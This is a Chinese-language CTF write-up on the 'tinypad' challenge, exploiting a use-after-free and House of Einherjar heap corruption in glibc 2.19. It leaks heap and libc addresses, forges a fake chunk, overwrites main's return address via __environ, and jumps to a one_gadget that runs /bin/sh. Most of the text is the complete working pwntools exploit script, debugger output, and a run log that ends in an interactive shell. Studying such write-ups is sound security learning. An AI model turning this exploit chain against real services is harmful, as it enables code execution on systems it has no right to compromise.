tinypad - house_of_einherjar
TOC
1. 前言 2. 思路 3. House Of Einherjar准备 4. 劫持程序流
前言 考察对 House Of Einherjar 漏洞的用法。以及UAF。
鄙人使用的是自己编译的glibc-2.19,下面的有些地址是需要自行计算的.
思路
泄露heap基地址
泄露libc基地址
House Of Einherjar漏洞
One gadget拿shell
泄露heap基地址
由于源程序在做删除操作的时候,不会将指针置NULL,所以下一次就会打印出其 malloc_chunk->fd 上的值。
add(0x70 , 'a' * 8 ) add(0x70 , 'b' * 8 ) add(0x100 , 'c' * 8 ) delete(2 ) sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) heap_base_addr = u64(ret.ljust(8 , '\x00' )) & 0xfffff000 log.success("heap_base_addr: " + hex (heap_base_addr))
泄露libc基地址
原理和上面一样的.
add(0x200 , '' ) add(0x200 , '' ) sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) main_area_88_offset = 0x39cbb8 main_area_88 = u64(ret.ljust(8 , '\x00' )) log.info("main_area_88: " + hex (main_area_88)) libc_base_addr = main_area_88 - main_area_88_offset log.success("libc_base_addr: " + hex (libc_base_addr)) delete(2 ) delete(3 )
不同的glibc,main_area_88 的偏移各有不同,算偏移的具体做法:
pwndbg> heap 0x9ec000 FASTBIN { prev_size = 0, size = 129, fd = 0x9ec080, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x9ec080 FASTBIN { prev_size = 0, size = 129, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x9ec100 PREV_INUSE { prev_size = 0, size = 273, fd = 0x6363636363636363, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x9ec210 PREV_INUSE { prev_size = 0, size = 273, fd = 0x7ff59d65fbb8 <main_arena+88>, bk = 0x7ff59d65fbb8 <main_arena+88>, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x9ec320 { prev_size = 272, size = 272, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x9ec430 PREV_INUSE { prev_size = 0, size = 134097, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x402000 r-xp 2000 0 /home/ex/test/tinypad 0x601000 0x602000 r--p 1000 1000 /home/ex/test/tinypad 0x602000 0x603000 rw-p 1000 2000 /home/ex/test/tinypad 0x9ec000 0xa0d000 rw-p 21000 0 [heap] 0x7ff59d2c3000 0x7ff59d45b000 r-xp 198000 0 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so 0x7ff59d45b000 0x7ff59d65b000 ---p 200000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so 0x7ff59d65b000 0x7ff59d65f000 r--p 4000 198000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so 0x7ff59d65f000 0x7ff59d661000 rw-p 2000 19c000 /home/ex/glibc/glibc-2.19/_debug/lib/libc-2.19.so 0x7ff59d661000 0x7ff59d665000 rw-p 4000 0 0x7ff59d665000 0x7ff59d685000 r-xp 20000 0 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so 0x7ff59d87e000 0x7ff59d881000 rw-p 3000 0 0x7ff59d883000 0x7ff59d884000 rw-p 1000 0 0x7ff59d884000 0x7ff59d885000 r--p 1000 1f000 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so 0x7ff59d885000 0x7ff59d886000 rw-p 1000 20000 /home/ex/glibc/glibc-2.19/_debug/lib/ld-2.19.so 0x7ff59d886000 0x7ff59d887000 rw-p 1000 0 0x7ffcd5774000 0x7ffcd5795000 rw-p 21000 0 [stack] 0x7ffcd57f7000 0x7ffcd57f9000 r--p 2000 0 [vvar] 0x7ffcd57f9000 0x7ffcd57fb000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] pwndbg> p/x 0x7ff59d65fbb8-0x7ff59d2c3000 $1 = 0x39cbb8 pwndbg>
House Of Einherjar准备 具体做法如下:
准备环境
修改inuse标志
进行 \x00 填充
修改 prev_size
构造fake_chunk
劫持main返回地址
准备环境
事先要准备好填充的数量.
add(24 ,'a' *24 ) add(240 ,'' ) add(0x100 , 'c' * (32 +0x20 )) add(0x100 , 'c' * (0x100 ))
修改inuse标志
用的是strcpy的\x00截断实现的.
进行 \x00 填充
因为strcpy的时候会有\x00截断,所以对于高字节的\x00,只能一步一步来修改.
size = (heap_index_2 - fakechunk_addr) log .info("Size: " +hex(size))# 计算size的长度 size_length = int (math.ceil (( len(hex(size))-2 )/2 )) # 进行 \x00 填充,将高位填充为0 for i in range(8 - 1 - size_length): edit(1 ,'a' *(24 - 1 -i))
修改 prev_size
因为heap在使用状态下,prev_size 的空间是可以给前一个chunk使用的,所以它的值可以由前一个chunk更改.
edit(1 ,'a' *16 + p64(size))
构造fake_chunk
下面就是直接构造的假chunk,而index在构造环境的时候需要确定能容下所有字节.
layout = [ p64(0x0 ), p64(0x100 + 0x1 ), p64(fakechunk_addr), p64(fakechunk_addr) ] edit(3 ,'d' * 0x20 + flat(layout))
House Of Einherjar
前面已经准备好了,所以这里直接使用该漏洞,将fake_chunk->fd和fake_chunk->bk设置为main_area_88,主要是为了能把该chunk从heap里面拿出来,要不然过不了检查.
delete(2 ) edit(4 , 'd' * 0x20 + p64(0 ) + p64(0x101 ) + p64(main_area_88) + p64(main_area_88))
劫持程序流 具体做法如下:
计算environ pointer地址
构造一个方便读写的环境
劫持main返回地址
getshell
计算environ pointer地址
直接用泄露的基地址计算就行.
environ_pointer = libc_base_addr + libc.symbols['__environ' ] log.info('environ pointer addr: ' + hex (environ_pointer))
构造一个方便读写的环境
fake_pad = 'f' * (0x100 - 0x20 - 0x10 ) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148 ) add(0x100 - 8 , fake_pad)
劫持main返回地址
sh.recvuntil('INDEX: 1\n # CONTENT: ' ) ret = sh.recvuntil('\n' , drop=True ).ljust(8 , '\x00' ) sh.recvuntil('(CMD)>>> ' ) environ_addr = ret environ_addr = u64(environ_addr) log.success('environ_addr: ' + hex (environ_addr)) main_ret_addr = environ_addr - 0xf0 log.success('main_ret_addr: ' + hex (main_ret_addr)) one_gadget = 0x3ce7f one_gadget_addr = libc_base_addr + one_gadget log.success('one_gadget_addr: ' + hex (one_gadget_addr)) edit(2 ,p64(main_ret_addr)) edit(1 ,p64(one_gadget_addr))
environ_addr 和 main_ret_addr 的偏移需要自行计算,方法如下:
pwndbg> stack 00:0000│ rsp 0x7ffef44eaf98 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax 01:0008│ 0x7ffef44eafa0 —▸ 0x7ffef44eb033 ◂— 0x40083200007ffef4 02:0010│ 0x7ffef44eafa8 ◂— 0x1 03:0018│ 0x7ffef44eafb0 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000 04:0020│ 0x7ffef44eafb8 —▸ 0x400fad (_write_n+112) ◂— mov qword ptr [rbp - 0x10], rax 05:0028│ 0x7ffef44eafc0 —▸ 0x401a29 ◂— or al, byte ptr [rax] /* '\n' */ 06:0030│ 0x7ffef44eafc8 ◂— 0x0 07:0038│ 0x7ffef44eafd0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */ pwndbg> 08:0040│ 0x7ffef44eafd8 ◂— 0xa5c048c5caa4ab00 09:0048│ rbp 0x7ffef44eafe0 —▸ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— ... 0a:0050│ 0x7ffef44eafe8 —▸ 0x401100 (read_until+73) ◂— mov qword ptr [rbp - 0x10], rax 0b:0058│ 0x7ffef44eaff0 ◂— 9 /* '\t' */ 0c:0060│ 0x7ffef44eaff8 ◂— 0xacaa4ab00 0d:0068│ 0x7ffef44eb000 ◂— 0x1 0e:0070│ 0x7ffef44eb008 —▸ 0x7ffef44eb044 ◂— 0xcaa4ab0000000000 0f:0078│ 0x7ffef44eb010 ◂— 9 /* '\t' */ pwndbg> 10:0080│ 0x7ffef44eb018 ◂— 0x0 11:0088│ 0x7ffef44eb020 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15 12:0090│ 0x7ffef44eb028 ◂— 0xa5c048c5caa4ab00 13:0098│ 0x7ffef44eb030 —▸ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15 14:00a0│ 0x7ffef44eb038 —▸ 0x400832 (getcmd+92) ◂— mov esi, 1 15:00a8│ rsi-4 0x7ffef44eb040 ◂— 0x2 16:00b0│ 0x7ffef44eb048 ◂— 0xa5c048c5caa4ab00 17:00b8│ 0x7ffef44eb050 —▸ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15 pwndbg> 18:00c0│ 0x7ffef44eb058 —▸ 0x4009c1 (main+350) ◂— mov dword ptr [rbp - 0x10], eax 19:00c8│ 0x7ffef44eb060 ◂— 0x3400401370 1a:00d0│ 0x7ffef44eb068 ◂— 0x4 1b:00d8│ 0x7ffef44eb070 ◂— 0xf800000000 1c:00e0│ 0x7ffef44eb078 ◂— 0xa5c048c5caa4ab00 1d:00e8│ 0x7ffef44eb080 —▸ 0x401370 (__libc_csu_init) ◂— push r15 1e:00f0│ 0x7ffef44eb088 —▸ 0x7f48d89e27d5 (__libc_start_main+385) ◂— jmp 0x7f48d89e2820 1f:00f8│ 0x7ffef44eb090 —▸ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8' pwndbg> 20:0100│ 0x7ffef44eb098 —▸ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad' 21:0108│ 0x7ffef44eb0a0 ◂— 0x1d8d5b760 22:0110│ 0x7ffef44eb0a8 —▸ 0x400863 (main) ◂— push rbp 23:0118│ 0x7ffef44eb0b0 ◂— 0x0 24:0120│ 0x7ffef44eb0b8 ◂— 0xac9964160561fbe2 25:0128│ 0x7ffef44eb0c0 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp 26:0130│ 0x7ffef44eb0c8 ◂— 0x0 ... ↓ pwndbg> 28:0140│ 0x7ffef44eb0d8 ◂— 0x0 29:0148│ 0x7ffef44eb0e0 ◂— 0x53648c0b42a1fbe2 2a:0150│ 0x7ffef44eb0e8 ◂— 0x5208d5aa6c9bfbe2 2b:0158│ 0x7ffef44eb0f0 ◂— 0x7ffe00000000 2c:0160│ 0x7ffef44eb0f8 ◂— 0x0 ... ↓ 2e:0170│ 0x7ffef44eb108 —▸ 0x7f48d8d7354d (_dl_init_internal+229) ◂— mov eax, r14d 2f:0178│ 0x7ffef44eb110 ◂— 0x0 pwndbg> 30:0180│ 0x7ffef44eb118 ◂— 0x0 ... ↓ 33:0198│ 0x7ffef44eb130 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp 34:01a0│ 0x7ffef44eb138 —▸ 0x7ffef44eb160 ◂— 0x1 35:01a8│ 0x7ffef44eb140 ◂— 0x0 36:01b0│ 0x7ffef44eb148 —▸ 0x40070a (_start+42) ◂— hlt 37:01b8│ 0x7ffef44eb150 —▸ 0x7ffef44eb158 ◂— 0x0 pwndbg> 38:01c0│ 0x7ffef44eb158 ◂— 0x0 39:01c8│ 0x7ffef44eb160 ◂— 0x1 3a:01d0│ 0x7ffef44eb168 —▸ 0x7ffef44ec77d ◂— './tinypad' 3b:01d8│ 0x7ffef44eb170 ◂— 0x0 3c:01e0│ 0x7ffef44eb178 —▸ 0x7ffef44ec787 ◂— 'LC_NUMERIC=zh_CN.UTF-8' 3d:01e8│ 0x7ffef44eb180 —▸ 0x7ffef44ec79e ◂— 'LESSOPEN=| /usr/bin/lesspipe %s' 3e:01f0│ 0x7ffef44eb188 —▸ 0x7ffef44ec7be ◂— 'SSH_CLIENT=192.168.3.1 57226 22' 3f:01f8│ 0x7ffef44eb190 —▸ 0x7ffef44ec7de ◂— 'LOGNAME=ex' pwndbg> p/x 0x7ffef44eb178-0x7ffef44eb088 $1 = 0xf0 pwndbg>
也就是计算上面3c:01e0和1e:00f0的偏移,不同环境,可能值不同.
getshell
退出即可.
sh.sendline('Q' ) sh.interactive()
这里用的one gadget情况如下:
ex@ubuntu:~/test$ one_gadget /home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6 0x3ce7f execve("/bin/sh", rsp+0x20, environ) constraints: [rsp+0x20] == NULL
完整脚本
from pwn import *import mathsh = process('./tinypad' ) elf = ELF('./tinypad' ) libc = ELF('/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6' ) f = open ('pid' , 'w' ) f.write(str (proc.pidof(sh)[0 ])) f.close() tinypad = 0x602040 def add (size, content ): sh.sendline('A' ) sh.recvuntil('(SIZE)>>> ' ) sh.sendline(str (size)) sh.recvuntil('(CONTENT)>>> ' ) sh.sendline(content) sh.recvuntil('(CMD)>>> ' ) def delete (index ): sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (index)) sh.recvuntil('(CMD)>>> ' ) def edit (index, content ): sh.sendline('E' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (index)) sh.recvuntil('CONTENT: ' ) ret = sh.recvuntil('\n(CONTENT)>>> ' ) sh.sendline(content) sh.recvuntil('(Y/n)>>> ' ) sh.sendline('Y' ) sh.recvuntil('(CMD)>>> ' ) return ret sh.recvuntil('(CMD)>>> ' ) add(0x70 , 'a' * 8 ) add(0x70 , 'b' * 8 ) add(0x100 , 'c' * 8 ) delete(2 ) sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) heap_base_addr = u64(ret.ljust(8 , '\x00' )) & 0xfffff000 log.success("heap_base_addr: " + hex (heap_base_addr)) add(0x200 , '' ) add(0x200 , '' ) sh.sendline('D' ) sh.recvuntil('(INDEX)>>> ' ) sh.sendline(str (1 )) sh.recvuntil('# CONTENT: ' ) ret = sh.recvuntil('\n' )[:-1 ] sh.recvuntil('(CMD)>>> ' ) main_area_88_offset = 0x39cbb8 main_area_88 = u64(ret.ljust(8 , '\x00' )) log.info("main_area_88: " + hex (main_area_88)) libc_base_addr = main_area_88 - main_area_88_offset log.success("libc_base_addr: " + hex (libc_base_addr)) delete(2 ) delete(3 ) add(24 ,'a' *24 ) add(240 ,'' ) add(0x100 , 'c' * (32 +0x20 )) add(0x100 , 'c' * (0x100 )) fakechunk_addr = tinypad + 0x20 edit(1 ,'a' *24 ) heap_index_2 = heap_base_addr + 0x20 size = (heap_index_2 - fakechunk_addr) log.info("Size: " +hex (size)) size_length = int (math.ceil(( len (hex (size))-2 )/2 )) for i in range (8 - 1 - size_length): edit(1 ,'a' *(24 - 1 -i)) edit(1 ,'a' *16 + p64(size)) layout = [ p64(0x0 ), p64(0x100 + 0x1 ), p64(fakechunk_addr), p64(fakechunk_addr) ] edit(3 ,'d' * 0x20 + flat(layout)) delete(2 ) edit(4 , 'd' * 0x20 + p64(0 ) + p64(0x101 ) + p64(main_area_88) + p64(main_area_88)) environ_pointer = libc_base_addr + libc.symbols['__environ' ] log.info('environ pointer addr: ' + hex (environ_pointer)) fake_pad = 'f' * (0x100 - 0x20 - 0x10 ) + 'a' * 8 + p64(environ_pointer) + 'a' * 8 + p64(0x602148 ) add(0x100 - 8 , fake_pad) sh.sendline() sh.recvuntil('INDEX: 1\n # CONTENT: ' ) ret = sh.recvuntil('\n' , drop=True ).ljust(8 , '\x00' ) sh.recvuntil('(CMD)>>> ' ) environ_addr = ret environ_addr = u64(environ_addr) log.success('environ_addr: ' + hex (environ_addr)) main_ret_addr = environ_addr - 0xf0 log.success('main_ret_addr: ' + hex (main_ret_addr)) one_gadget = 0x3ce7f one_gadget_addr = libc_base_addr + one_gadget log.success('one_gadget_addr: ' + hex (one_gadget_addr)) edit(2 ,p64(main_ret_addr)) edit(1 ,p64(one_gadget_addr)) sh.sendline('Q' ) sh.interactive() os.system("rm -f pid" )
结果如下:
ex@ubuntu:~/test$ ./exp.py [+] Starting local process './tinypad': pid 46231 [*] '/home/ex/test/tinypad' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/ex/glibc/glibc-2.19/_debug/lib/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] heap_base_addr: 0xfaf000 [*] main_area_88: 0x7f81f2639bb8 [+] libc_base_addr: 0x7f81f229d000 [*] Size: 0x9acfc0 [*] environ pointer addr: 0x7f81f263c018 [+] environ_addr: 0x7fff834f6218 [+] main_ret_addr: 0x7fff834f6128 [+] one_gadget_addr: 0x7f81f22d9e7f [*] Switching to interactive mode $ id uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
总结
这题比较坑人了,原本打算劫持got表的,却发现是full relro保护,然后计划打算劫持__free_hook,但是,由于程序本身有\0的长度限制,也不能修改.所以只能,修改main函数的地址为返回地址了.原本还想修改main函数的地址为返回地址为system函数,然后把参数设置为/bin/sh,但是放参数的地方刚好就是stack guard,所以不能修改,总之多尝试,总会有收获的